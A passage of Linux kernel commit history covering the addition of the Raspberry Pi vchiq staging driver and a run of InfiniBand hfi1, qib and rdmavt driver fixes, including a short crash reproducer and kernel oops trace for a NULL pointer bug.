Reported-by: Dan Carpenter Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 71bad7f086419dc674244b91ca35a12bfa4cb597 Author: popcornmix Date: Tue Jul 2 23:42:01 2013 +0100 staging: add bcm2708 vchiq driver Signed-off-by: popcornmix vchiq: create_pagelist copes with vmalloc memory Signed-off-by: Daniel Stone vchiq: fix the shim message release Signed-off-by: Daniel Stone vchiq: export additional symbols Signed-off-by: Daniel Stone VCHIQ: Make service closure fully synchronous (drv) This is one half of a two-part patch, the other half of which is to the vchiq_lib user library. With these patches, calls to vchiq_close_service and vchiq_remove_service won't return until any associated callbacks have been delivered to the callback thread. VCHIQ: Add per-service tracing The new service option VCHIQ_SERVICE_OPTION_TRACE is a boolean that toggles tracing for the specified service. This commit also introduces vchi_service_set_option and the associated option VCHI_SERVICE_OPTION_TRACE. vchiq: Make the synchronous-CLOSE logic more tolerant vchiq: Move logging control into debugfs vchiq: Take care of a corner case tickled by VCSM Closing a connection that isn't fully open requires care, since one side does not know the other side's port number. Code was present to handle the case where a CLOSE is sent immediately after an OPEN, i.e. before the OPENACK has been received, but this was incorrectly being used when an OPEN from a client using port 0 was rejected. (In the observed failure, the host was attempting to use the VCSM service, which isn't present in the 'cutdown' firmware. The failure was intermittent because sometimes the keepalive service would grab port 0.) This case can be distinguished because the client's remoteport will still be VCHIQ_PORT_FREE, and the srvstate will be OPENING. Either condition is sufficient to differentiate it from the special case described above. vchiq: Avoid high load when blocked and unkillable vchiq: Include SIGSTOP and SIGCONT in list of signals not-masked by vchiq to allow gdb to work vchiq_arm: Complete support for SYNCHRONOUS mode vchiq: Remove inline from suspend/resume vchiq: Allocation does not need to be atomic vchiq: Fix wrong condition check The log level is checked from within the log call. Remove the check in the call. Signed-off-by: Pranith Kumar BCM270x: Add vchiq device to platform file and Device Tree Prepare to turn the vchiq module into a driver. Signed-off-by: Noralf Trønnes bcm2708: vchiq: Add Device Tree support Turn vchiq into a driver and stop hardcoding resources. Use devm_* functions in probe path to simplify cleanup. A global variable is used to hold the register address. This is done to keep this patch as small as possible. Also make available on ARCH_BCM2835. Based on work by Lubomir Rintel. Signed-off-by: Noralf Trønnes vchiq: Change logging level for inbound data vchiq_arm: Two cacheing fixes 1) Make fragment size vary with cache line size Without this patch, non-cache-line-aligned transfers may corrupt (or be corrupted by) adjacent data structures. Both ARM and VC need to be updated to enable this feature. This is ensured by having the loader apply a new DT parameter - cache-line-size. The existence of this parameter guarantees that the kernel is capable, and the parameter will only be modified from the safe default if the loader is capable. 2) Flush/invalidate vmalloc'd memory, and invalidate after reads vchiq: fix NULL pointer dereference when closing driver The following code run as root will cause a null pointer dereference oops: int fd = open("/dev/vc-cma", O_RDONLY); if (fd < 0) err(1, "open failed"); (void)close(fd); [ 1704.877721] Unable to handle kernel NULL pointer dereference at virtual address 00000000 [ 1704.877725] pgd = b899c000 [ 1704.877736] [00000000] *pgd=37fab831, *pte=00000000, *ppte=00000000 [ 1704.877748] Internal error: Oops: 817 [#1] PREEMPT SMP ARM [ 1704.877765] Modules linked in: evdev i2c_bcm2708 uio_pdrv_genirq uio [ 1704.877774] CPU: 2 PID: 3656 Comm: stress-ng-fstat Not tainted 3.19.1-12-generic-bcm2709 #12-Ubuntu [ 1704.877777] Hardware name: BCM2709 [ 1704.877783] task: b8ab9b00 ti: b7e68000 task.ti: b7e68000 [ 1704.877798] PC is at __down_interruptible+0x50/0xec [ 1704.877806] LR is at down_interruptible+0x5c/0x68 [ 1704.877813] pc : [<80630ee8>] lr : [<800704b0>] psr: 60080093 sp : b7e69e50 ip : b7e69e88 fp : b7e69e84 [ 1704.877817] r10: b88123c8 r9 : 00000010 r8 : 00000001 [ 1704.877822] r7 : b8ab9b00 r6 : 7fffffff r5 : 80a1cc34 r4 : 80a1cc34 [ 1704.877826] r3 : b7e69e50 r2 : 00000000 r1 : 00000000 r0 : 80a1cc34 [ 1704.877833] Flags: nZCv IRQs off FIQs on Mode SVC_32 ISA ARM Segment user [ 1704.877838] Control: 10c5387d Table: 3899c06a DAC: 00000015 [ 1704.877843] Process do-oops (pid: 3656, stack limit = 0xb7e68238) [ 1704.877848] Stack: (0xb7e69e50 to 0xb7e6a000) [ 1704.877856] 9e40: 80a1cc3c 00000000 00000010 b88123c8 [ 1704.877865] 9e60: b7e69e84 80a1cc34 fff9fee9 ffffffff b7e68000 00000009 b7e69ea4 b7e69e88 [ 1704.877874] 9e80: 800704b0 80630ea4 fff9fee9 60080013 80a1cc28 fff9fee9 b7e69edc b7e69ea8 [ 1704.877884] 9ea0: 8040f558 80070460 fff9fee9 ffffffff 00000000 00000000 00000009 80a1cb7c [ 1704.877893] 9ec0: 00000000 80a1cb7c 00000000 00000010 b7e69ef4 b7e69ee0 803e1ba4 8040f514 [ 1704.877902] 9ee0: 00000e48 80a1cb7c b7e69f14 b7e69ef8 803e1c9c 803e1b74 b88123c0 b92acb18 [ 1704.877911] 9f00: b8812790 b8d815d8 b7e69f24 b7e69f18 803e2250 803e1bc8 b7e69f5c b7e69f28 [ 1704.877921] 9f20: 80167bac 803e222c 00000000 00000000 b7e69f54 b8ab9ffc 00000000 8098c794 [ 1704.877930] 9f40: b8ab9b00 8000efc4 b7e68000 00000000 b7e69f6c b7e69f60 80167d6c 80167b28 [ 1704.877939] 9f60: b7e69f8c b7e69f70 80047d38 80167d60 b7e68000 b7e68010 8000efc4 b7e69fb0 [ 1704.877949] 9f80: b7e69fac b7e69f90 80012820 80047c84 01155490 011549a8 00000001 00000006 [ 1704.877957] 9fa0: 00000000 b7e69fb0 8000ee5c 80012790 00000000 353d8c0f 7efc4308 00000000 [ 1704.877966] 9fc0: 01155490 011549a8 00000001 00000006 00000000 00000000 76cf3ba0 00000003 [ 1704.877975] 9fe0: 00000000 7efc42e4 0002272f 76e2ed66 60080030 00000003 00000000 00000000 [ 1704.877998] [<80630ee8>] (__down_interruptible) from [<800704b0>] (down_interruptible+0x5c/0x68) [ 1704.878015] [<800704b0>] (down_interruptible) from [<8040f558>] (vchiu_queue_push+0x50/0xd8) [ 1704.878032] [<8040f558>] (vchiu_queue_push) from [<803e1ba4>] (send_worker_msg+0x3c/0x54) [ 1704.878045] [<803e1ba4>] (send_worker_msg) from [<803e1c9c>] (vc_cma_set_reserve+0xe0/0x1c4) [ 1704.878057] [<803e1c9c>] (vc_cma_set_reserve) from [<803e2250>] (vc_cma_release+0x30/0x38) [ 1704.878069] [<803e2250>] (vc_cma_release) from [<80167bac>] (__fput+0x90/0x1e0) [ 1704.878082] [<80167bac>] (__fput) from [<80167d6c>] (____fput+0x18/0x1c) [ 1704.878094] [<80167d6c>] (____fput) from [<80047d38>] (task_work_run+0xc0/0xf8) [ 1704.878109] [<80047d38>] (task_work_run) from [<80012820>] (do_work_pending+0x9c/0xc4) [ 1704.878123] [<80012820>] (do_work_pending) from [<8000ee5c>] (work_pending+0xc/0x20) [ 1704.878133] Code: e50b1034 e3a01000 e50b2030 e580300c (e5823000) ..the fix is to ensure that we have actually initialized the queue before we attempt to push any items onto it. This occurs if we do an open() followed by a close() without any activity in between. Signed-off-by: Colin Ian King vchiq_arm: Sort out the vmalloc case See: https://github.com/raspberrypi/linux/issues/1055 vchiq: hack: Add include depecated dma include file [gregkh] added dependancy on CONFIG_BROKEN to make things sane for now. Cc: Eric Anholt Signed-off-by: Greg Kroah-Hartman drivers/staging/Kconfig | 2 + drivers/staging/Makefile | 1 + drivers/staging/vc04_services/Kconfig | 9 + drivers/staging/vc04_services/Makefile | 14 + .../interface/vchi/connections/connection.h | 328 ++ .../interface/vchi/message_drivers/message.h | 204 + .../staging/vc04_services/interface/vchi/vchi.h | 378 ++ .../vc04_services/interface/vchi/vchi_cfg.h | 224 ++ .../interface/vchi/vchi_cfg_internal.h | 71 + .../vc04_services/interface/vchi/vchi_common.h | 175 + .../staging/vc04_services/interface/vchi/vchi_mh.h | 42 + .../vc04_services/interface/vchiq_arm/vchiq.h | 40 + .../vc04_services/interface/vchiq_arm/vchiq_2835.h | 42 + .../interface/vchiq_arm/vchiq_2835_arm.c | 586 +++ .../vc04_services/interface/vchiq_arm/vchiq_arm.c | 2903 +++++++++++++++ .../vc04_services/interface/vchiq_arm/vchiq_arm.h | 220 ++ .../interface/vchiq_arm/vchiq_build_info.h | 37 + .../vc04_services/interface/vchiq_arm/vchiq_cfg.h | 69 + .../interface/vchiq_arm/vchiq_connected.c | 120 + .../interface/vchiq_arm/vchiq_connected.h | 50 + .../vc04_services/interface/vchiq_arm/vchiq_core.c | 3934 ++++++++++++++++++++ .../vc04_services/interface/vchiq_arm/vchiq_core.h | 712 ++++ .../interface/vchiq_arm/vchiq_debugfs.c | 383 ++ .../interface/vchiq_arm/vchiq_debugfs.h | 52 + .../interface/vchiq_arm/vchiq_genversion | 87 + .../vc04_services/interface/vchiq_arm/vchiq_if.h | 189 + .../interface/vchiq_arm/vchiq_ioctl.h | 131 + .../interface/vchiq_arm/vchiq_kern_lib.c | 458 +++ .../interface/vchiq_arm/vchiq_killable.h | 69 + .../interface/vchiq_arm/vchiq_memdrv.h | 71 + .../interface/vchiq_arm/vchiq_pagelist.h | 58 + .../vc04_services/interface/vchiq_arm/vchiq_shim.c | 860 +++++ .../vc04_services/interface/vchiq_arm/vchiq_util.c | 156 + .../vc04_services/interface/vchiq_arm/vchiq_util.h | 82 + .../interface/vchiq_arm/vchiq_version.c | 59 + 35 files changed, 12816 insertions(+) commit 37aab620bcc11a46b19385d8a62f9c5b0db0ffd2 Author: Mike Marciniszyn Date: Fri Sep 30 20:11:15 2016 -0700 IB/hfi1: Fix trace of atomic ack The length is incorrect, causing the trace data to be truncated. Add the additional 8 bytes that should have been there. Also trace out the atomic ack in hex to aid debugging. Reviewed-by: Dennis Dalessandro Signed-off-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/trace.c | 4 ++-- drivers/infiniband/hw/hfi1/verbs.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit f380920957b39b6f19a9df868bee8cdec0968dcd Author: Jianxin Xiong Date: Fri Sep 30 20:11:09 2016 -0700 IB/hfi1: Update SMA ingress checks for response packets Fix "unsupported method" error by skipping ingress pkey checks on response SMA packets. Reviewed-by: Dennis Dalessandro Reviewed-by: Mike Marciniszyn Signed-off-by: Jianxin Xiong Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/ud.c | 49 ++++++++++++++++++++--------------------- 1 file changed, 24 insertions(+), 25 deletions(-) commit e83eba214d5182422346bdfcdd72b665b73eda1a Author: Dean Luick Date: Fri Sep 30 04:41:45 2016 -0700 IB/hfi1: Use EPROM platform configuration read The driver will now try to read directly from the EPROM as its first choice for the platform configuration file. Reviewed-by: Easwar Hariharan Signed-off-by: Dean Luick Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/chip.c | 9 +++++---- drivers/infiniband/hw/hfi1/platform.c | 32 +++++++++++++++++++++----------- 2 files changed, 26 insertions(+), 15 deletions(-) commit 107ffbc521b07f22c2e8d1c5fce39766c265c02c Author: Dean Luick Date: Fri Sep 30 04:41:40 2016 -0700 IB/hfi1: Add ability to read platform config from the EPROM Add a function to read the platform configuration file from the EPROM. Reviewed-by: Easwar Hariharan Signed-off-by: Dean Luick Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/eprom.c | 82 ++++++++++++++++++++++++++++++++++++++ drivers/infiniband/hw/hfi1/eprom.h | 2 + 2 files changed, 84 insertions(+) commit e2113752b783e387f9cb0d8b9d928c6f9fce08b3 Author: Dean Luick Date: Fri Sep 30 04:41:34 2016 -0700 IB/hfi1: Restore EPROM read ability Partially revert commit d07903174202 ("IB/hfi1: Remove EPROM functionality from data device"), bringing back the ability to read from the EPROM. This code will be used for driver-only acccess to the EPROM, hence change EPROM read to save to a buffer instead of copy touser. Also allow any offset and remove missed includes and leftover declarations. Reviewed-by: Easwar Hariharan Signed-off-by: Dean Luick Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/eprom.c | 103 ++++++++++++++++++++++++++++++++++ drivers/infiniband/hw/hfi1/eprom.h | 2 - drivers/infiniband/hw/hfi1/file_ops.c | 1 - 3 files changed, 103 insertions(+), 3 deletions(-) commit c642cc070b4934cd4718e63aa46e140468bc6a60 Author: Tadeusz Struk Date: Sun Sep 25 07:44:51 2016 -0700 IB/hfi1: Document new sysfs entries for hfi1 driver This patch adds description for the sdma engine related sysfs entries for the HFI1 driver. Reviewed-by: Dennis Dalessandro Reviewed-by: Sebastian Sanchez Reviewed-by: Jianxin Xiong Signed-off-by: Tadeusz Struk Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford Documentation/infiniband/sysfs.txt | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) commit af3674d62d3470c4573709c031e6b17f1f39c96b Author: Tadeusz Struk Date: Sun Sep 25 07:44:44 2016 -0700 IB/hfi1: Add new debugfs sdma_cpu_list file Add a debugfs sdma_cpu_list file that can be used to examine the CPU to sdma engine assignments for the whole device. Reviewed-by: Dennis Dalessandro Reviewed-by: Sebastian Sanchez Reviewed-by: Jianxin Xiong Signed-off-by: Tadeusz Struk Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/debugfs.c | 38 +++++++++++++++++++++++++++++++ drivers/infiniband/hw/hfi1/sdma.c | 43 ++++++++++++++++++++++++++++++++++++ drivers/infiniband/hw/hfi1/sdma.h | 2 ++ 3 files changed, 83 insertions(+) commit 2d01c37d7501decfdcee2ff7ef32a017b7276a34 Author: Tadeusz Struk Date: Sun Sep 25 07:44:37 2016 -0700 IB/hfi1: Add irq affinity notification handler This patch adds an irq affinity notification handler. When a user changes interrupt affinity settings for an sdma engine, the driver needs to make changes to its internal sde structures and also update the affinity_hint. Reviewed-by: Dennis Dalessandro Reviewed-by: Sebastian Sanchez Reviewed-by: Jianxin Xiong Signed-off-by: Tadeusz Struk Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/affinity.c | 112 +++++++++++++++++++++++++++++++--- drivers/infiniband/hw/hfi1/hfi.h | 1 + 2 files changed, 103 insertions(+), 10 deletions(-) commit f191225719c3abd04d12ec59951bc47bdf726d71 Author: Tadeusz Struk Date: Sun Sep 25 07:44:30 2016 -0700 IB/hfi1: Add a new VL sysfs attribute for sdma engines This patch adds a read-only "VL" attribute for the sysfs entry of each sdma engine. It will allow the user to check VL to sdma engine mappings. Reviewed-by: Dennis Dalessandro Reviewed-by: Sebastian Sanchez Reviewed-by: Jianxin Xiong Signed-off-by: Tadeusz Struk Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/sysfs.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit 0cb2aa690c7ef14ad1f544288349abb5434bb75d Author: Tadeusz Struk Date: Sun Sep 25 07:44:23 2016 -0700 IB/hfi1: Add sysfs interface for affinity setup Some users want more control over which cpu cores are being used by the driver. For example, users might want to restrict the driver to some specified subset of the cores so that they can appropriately partition processes, irq handlers, and work threads. To allow the user to fine tune system affinity settings new sysfs attributes are introduced per sdma engine. This patch adds a new attribute type for sdma engine and a new cpu_list attribute. When the user writes a cpu range to the cpu_list attribute the driver will create an internal cpu->sdma map, which will be used later as a look-up table to choose an optimal engine for a user requests. Reviewed-by: Dean Luick Reviewed-by: Dennis Dalessandro Reviewed-by: Sebastian Sanchez Reviewed-by: Jianxin Xiong Signed-off-by: Tadeusz Struk Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/hfi.h | 2 + drivers/infiniband/hw/hfi1/sdma.c | 310 +++++++++++++++++++++++++++++++++ drivers/infiniband/hw/hfi1/sdma.h | 8 + drivers/infiniband/hw/hfi1/sysfs.c | 90 +++++++++- drivers/infiniband/hw/hfi1/user_sdma.c | 9 +- 5 files changed, 412 insertions(+), 7 deletions(-) commit 3a6982dfd3a7931d679a1aac651fda83ecbad0a0 Author: Jakub Pawlak Date: Sun Sep 25 07:42:23 2016 -0700 IB/hfi1: Fix resource release in context allocation Correct resource free in allocate_ctxt() function. When context creation fails allocated resources are properly released and pointer in receive context data table is set back to NULL. Reviewed-by: Dean Luick Reviewed-by: Dennis Dalessandro Signed-off-by: Jakub Pawlak Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/file_ops.c | 17 ++++++++++++----- drivers/infiniband/hw/hfi1/init.c | 1 + 2 files changed, 13 insertions(+), 5 deletions(-) commit 242833fbe4e82b095140c00ff59519991a6c99fd Author: Dennis Dalessandro Date: Sun Sep 25 07:42:16 2016 -0700 IB/hfi1: Remove unused variable from devdata We no longer use an error tasklet. Remove it from the hfi1_devdata structure. Reviewed-by: Ira Weiny Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/hfi.h | 2 -- 1 file changed, 2 deletions(-) commit ca00c62b9e2d0925aea27f1227d1bb074857cad3 Author: Dennis Dalessandro Date: Sun Sep 25 07:42:08 2016 -0700 IB/hfi1: Cleanup tasklet refs in comments The code no longer uses tasklets for the send engine. However it does use a tasklet for sdma but the send routines use a workqueue now days. Update the comments to reflect that. Make things more generic with saying "send engine" because that is what is being referred to. Reviewed-by: Ira Weiny Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/rc.c | 14 +++++++------- drivers/infiniband/hw/hfi1/ruc.c | 6 +++--- 2 files changed, 10 insertions(+), 10 deletions(-) commit e8a70af286bea28feb4785efb5c0b9229e67e008 Author: Harish Chegondi Date: Sun Sep 25 07:42:01 2016 -0700 IB/hfi1: Adjust hardware buffering parameter It was determined that 0x880 is a better value for hardware buffering, use it. Reviewed-by: Dean Luick Reviewed-by: Dennis Dalessandro Signed-off-by: Harish Chegondi Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/chip.c | 4 ++-- drivers/infiniband/hw/hfi1/chip.h | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit 50921be0c729a2ef4f1011ad2d228f49644e4269 Author: Dean Luick Date: Sun Sep 25 07:41:53 2016 -0700 IB/hfi1: Act on external device timeout Add missing external device timeout notification. Recognize it as a failed LNI signal from the 8051 firmware. Reviewed-by: Dennis Dalessandro Signed-off-by: Dean Luick Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/chip.c | 4 +++- drivers/infiniband/hw/hfi1/chip.h | 4 +++- 2 files changed, 6 insertions(+), 2 deletions(-) commit 72f53af2651957b0b9d6dead72a393eaf9a2c3be Author: Mike Marciniszyn Date: Sun Sep 25 07:41:46 2016 -0700 IB/hfi1: Fix defered ack race with qp destroy There is a a bug in defered ack stuff that causes a race with the destroy of a QP. A packet causes a defered ack to be pended by putting the QP into an rcd queue. A return from the driver interrupt processing will process that rcd queue of QPs and attempt to do a direct send of the ack. At this point no locks are held and the above QP could now be put in the reset state in the qp destroy logic. A refcount protects the QP while it is in the rcd queue so it isn't going anywhere yet. If the direct send fails to allocate a pio buffer, hfi1_schedule_send() is called to trigger sending an ack from the send engine. There is no state test in that code path. The refcount is then dropped from the driver.c caller potentially allowing the qp destroy to continue from its refcount wait in parallel with the workqueue scheduling of the qp. Cc: stable@vger.kernel.org Reviewed-by: Dennis Dalessandro Signed-off-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/rc.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 61868fb5c2e5e17ea5dd81b98c258453e172e23d Author: Sebastian Sanchez Date: Sun Sep 25 07:41:39 2016 -0700 IB/hfi1: Combine shift copy and byte copy for SGE reads Prevent over-reading the SGE length by using byte reads for non quad-word reads. Reviewed-by: Dean Luick Signed-off-by: Sebastian Sanchez Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/pio_copy.c | 160 +++++----------------------------- 1 file changed, 23 insertions(+), 137 deletions(-) commit a4309d94f71067f622a1d4e65d8d0fc4710beefd Author: Sebastian Sanchez Date: Sun Sep 25 07:41:32 2016 -0700 IB/hfi1: Do not read more than a SGE length In certain cases, if the tail of an SGE is not 8-byte aligned, bytes beyond the end to an 8-byte alignment can be read. Change the copy routine to avoid the over-read. Instead, stop on the final whole quad-word, then read the remaining bytes. Reviewed-by: Dean Luick Signed-off-by: Sebastian Sanchez Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/pio_copy.c | 88 ++++++++++++++++------------------- 1 file changed, 40 insertions(+), 48 deletions(-) commit d5cf683e627ae0c4f338bf175fe4e12584acdc0f Author: Dean Luick Date: Sun Sep 25 07:41:25 2016 -0700 IB/hfi1: Extend i2c timeout Allow a longer timeout for i2c due to clock stretching and inaccurate jiffy timing when under a spin lock. This timeout is consistent with other i2c-algo-bit users. Reviewed-by: Mike Marciniszyn Reviewed-by: Dennis Dalessandro Signed-off-by: Dean Luick Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/qsfp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f6aa783546460c27b0e8ed7f086a93d0b61119c7 Author: Jianxin Xiong Date: Sun Sep 25 07:41:18 2016 -0700 IB/hfi1: Increase default settings of max_cqes and max_qps The ib_write_bw test allows using up to 16384 QPs. When a relatively large number of QPs (within that range) is used, the test can fail because the number of CQ entries needed exceeds the limit set by the driver. This patch increases the default setting of max_cqes from 0x2FFFF (196607) to 0x2FFFFF(3145727), which is sufficient to cover the maximum number needed by the ib_write_bw test (2097152). The default setting of max_qps is also increased from 16384 to 32768 to allow the test to run successfully with 16383 or 16384 QPs. Reviewed-by: Mike Marciniszyn Signed-off-by: Jianxin Xiong Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/verbs.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c08d57a30aa7bb05a9a8d7faf3cf2f7502e1eb5f Author: Sebastian Sanchez Date: Sun Sep 25 07:41:11 2016 -0700 IB/hfi1: Remove filtering of Set(PkeyTable) in HFI SMA The FM should have full control to set the pkeys in the driver pkey table. Remove filtering done by the driver. Reviewed-by: Ira Weiny Signed-off-by: Sebastian Sanchez Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/mad.c | 6 ------ 1 file changed, 6 deletions(-) commit 84b3adc2430eafd2eb703570075c3c141ea0ff13 Author: Dennis Dalessandro Date: Sun Sep 25 07:41:05 2016 -0700 IB/qib: Remove qpt_mask global There is no need to have a global qpt_mask as that does not support the multiple chip model which qib has. Instead rely on the value which exists already in the device data (dd). Fixes: 898fa52b4ac3 "IB/qib: Remove qpn, qp tables and related variables from qib" Reviewed-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/qib/qib.h | 1 - drivers/infiniband/hw/qib/qib_qp.c | 13 +++---------- drivers/infiniband/hw/qib/qib_verbs.c | 2 -- 3 files changed, 3 insertions(+), 13 deletions(-) commit b374e060cc2aa31ceca885a7fe5bd591876c02b3 Author: Mike Marciniszyn Date: Sun Sep 25 07:40:58 2016 -0700 IB/hfi1: Consolidate pio control masks into single definition This allows for adding additional pages of adaptive pio opcode control including manufacturer specific ones. Reviewed-by: Dennis Dalessandro Signed-off-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/rc.c | 14 +------------- drivers/infiniband/hw/hfi1/uc.c | 9 +-------- drivers/infiniband/hw/hfi1/verbs.c | 36 +++++++++++++++++++++++++++--------- drivers/infiniband/hw/hfi1/verbs.h | 3 +++ 4 files changed, 32 insertions(+), 30 deletions(-) commit 68e78b3d78ac69412c468460606cc767a743acab Author: Mike Marciniszyn Date: Tue Sep 6 04:37:41 2016 -0700 IB/rdmavt, IB/hfi1: Add lockdep asserts for lock debug This patch adds lockdep asserts in key code paths for insuring lock correctness. Reviewed-by: Ira Weiny Reviewed-by: Dennis Dalessandro Signed-off-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/qp.c | 7 +++++-- drivers/infiniband/hw/hfi1/rc.c | 17 +++++++++++++++++ drivers/infiniband/sw/rdmavt/qp.c | 8 ++++++++ 3 files changed, 30 insertions(+), 2 deletions(-) commit 222f7a9aac26ae6bdeb3d4d29bad010ba34c31d3 Author: Mike Marciniszyn Date: Tue Sep 6 04:37:26 2016 -0700 IB/rdmavt: Add qp init function Add an rvt_qp_init() to initialize specific common fields as the qp is created or reset. The routine is shared by the rvt_reset_qp() and the rvt_create_qp(). The intent is that lock dep assertions will only appear in the rvt_reset_qp(). Reviewed-by: Dennis Dalessandro Signed-off-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/sw/rdmavt/qp.c | 100 ++++++++++++++++++++++---------------- 1 file changed, 58 insertions(+), 42 deletions(-) commit 30a345cc01363032826d48406dff3a6cee1cdb16 Author: Mike Marciniszyn Date: Tue Sep 6 04:37:07 2016 -0700 IB/rdmavt: Move reset calldown to reset path The reset calldown is misplaced. It should only be called in the code that actually transitions the QP to reset. Reviewed-by: Dennis Dalessandro Signed-off-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/sw/rdmavt/qp.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 5a648dfad033bf5f945795c4e56ee7577f24f3e9 Author: Mike Marciniszyn Date: Tue Sep 6 04:36:53 2016 -0700 IB/hfi1: Move iowait_init() to priv allocate The call is misplaced in the reset calldown function and causes issues with lockdep assertions that are to be added. Fixes: Commit a2c2d608957c ("staging/rdma/hfi1: Remove create_qp functionality") Reviewed-by: Ira Weiny Reviewed-by: Dennis Dalessandro Signed-off-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/qp.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit eefa1d8961584c5b76afded94960ca4344bc638b Author: Mike Marciniszyn Date: Tue Sep 6 04:36:33 2016 -0700 IB/rdmavt: Correct sparse annotation The __must_hold() is sufficent to correct the sparse context imbalance inside a function. Per Documentation/sparse.txt: __must_hold - The specified lock is held on function entry and exit. Fixes: Commit c0a67f6ba356 ("IB/rdmavt: Annotate rvt_reset_qp()") Reviewed-by: Dennis Dalessandro Signed-off-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/sw/rdmavt/qp.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit 584d9577ffecdb411f1fd0d160e76a1e141554c8 Author: Tadeusz Struk Date: Tue Sep 6 04:36:18 2016 -0700 IB/hfi1: Fix locking scheme for affinity settings Existing locking scheme in affinity.c file using the &node_affinity.lock spinlock is not very elegant. We acquire the lock to get hfi1_affinity_node entry, unlock, and then use the entry without the lock held. With more functions being added, which access and modify the entries, this can lead to race conditions. This patch makes this locking scheme more consistent. It changes the spinlock to mutex. Since all the code is executed in a user process context there is no need for a spinlock. This also allows to keep the lock not only while we look up for the node affinity entry, but over the whole section where the entry is being used. Reviewed-by: Ira Weiny Reviewed-by: Sebastian Sanchez Reviewed-by: Jianxin Xiong Signed-off-by: Tadeusz Struk Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/affinity.c | 91 +++++++++++++++++++---------------- drivers/infiniband/hw/hfi1/affinity.h | 3 +- 2 files changed, 51 insertions(+), 43 deletions(-) commit 60368186fd853899c1819bcefa47f85fe8d5e5ad Author: Tymoteusz Kielan Date: Tue Sep 6 04:35:54 2016 -0700 IB/hfi1: Fix user-space buffers mapping with IOMMU enabled The dma_XXX API functions return bus addresses which are physical addresses when IOMMU is disabled. Buffer mapping to user-space is done via remap_pfn_range() with PFN based on bus address instead of physical. This results in wrong pages being mapped to user-space when IOMMU is enabled. Reviewed-by: Mitko Haralanov Reviewed-by: Dennis Dalessandro Signed-off-by: Tymoteusz Kielan Signed-off-by: Andrzej Kacprowski Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/chip.c | 12 ++++----- drivers/infiniband/hw/hfi1/file_ops.c | 41 ++++++++++++++++++++--------- drivers/infiniband/hw/hfi1/hfi.h | 10 ++++---- drivers/infiniband/hw/hfi1/init.c | 44 ++++++++++++++++---------------- drivers/infiniband/hw/hfi1/pio.c | 20 +++++++-------- drivers/infiniband/hw/hfi1/pio.h | 2 +- drivers/infiniband/hw/hfi1/trace_ctxts.h | 13 +++++----- 7 files changed, 79 insertions(+), 63 deletions(-) commit 0b115ef100a3734265a46e13707446d2de00df5c Author: Harish Chegondi Date: Tue Sep 6 04:35:37 2016 -0700 IB/hfi1: Fix the count of user packets submitted to an SDMA engine Each user SDMA request coming into the driver may contain multiple packets. Each user packet may use multiple SDMA descriptors to fill the send buffer. The field seqsubmitted in struct user_sdma_request counts the number of user packets submitted to an SDMA engine. Sometimes, the intermediate count may not be updated properly. However, once all the packets' descriptors are successfully submitted to the SDMA engine, the final count is updated correctly. But, if only some of the 